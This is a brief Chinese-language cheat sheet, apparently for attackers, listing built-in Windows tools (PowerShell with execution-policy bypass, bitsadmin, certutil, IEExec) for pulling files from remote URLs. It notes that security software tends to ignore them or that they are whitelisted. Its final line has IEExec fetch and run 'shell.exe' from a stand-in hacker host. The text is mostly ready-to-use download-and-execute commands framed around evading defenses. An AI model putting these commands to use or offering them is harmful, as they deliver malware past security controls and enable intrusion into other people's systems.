powershell
powershell是windows7之后自带的模块,这个功能非常强大可以对内核 windows API无限访问。powershell完全可信,因此通常被安全软件忽略。
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('文件的下载路径', '本地文件保存路径')
或者
$client = new-object System.Net.WebClient
$client.DownloadFile('#1', '#2')
#1是需要下载文件的url
#2是保存为本地文件的路径,包括文件名
例如:$client.DownloadFile('https://xxxxx.123.jpg', 'D:/123.jpg')
Bitsadmin
这个也是windows内置的功能模块,windows自动更新就是用的这个。
bitsadmin /transfer n http://photo.16pic.com/asd.jpg D:\asd.jpg
certutil
certutil.exe是一个命令行程序,作为证书服务的一部分安装。和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链,能从远程URL下载证书或者其他文件。其使用语法如下
certutil.exe -urlcache -split -f url文件的下载路径
IEExec
IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。可以将IEExec.exe应用程序用作主机,以运行使用URL启动的其他托管应用程序。
IEexe.exe在64位系统路径为:C:\Windows\Microsoft.NET\Framework64\v2.0.50727
cmd:>
IEexec.exe http://www.hacker.com/shell.exe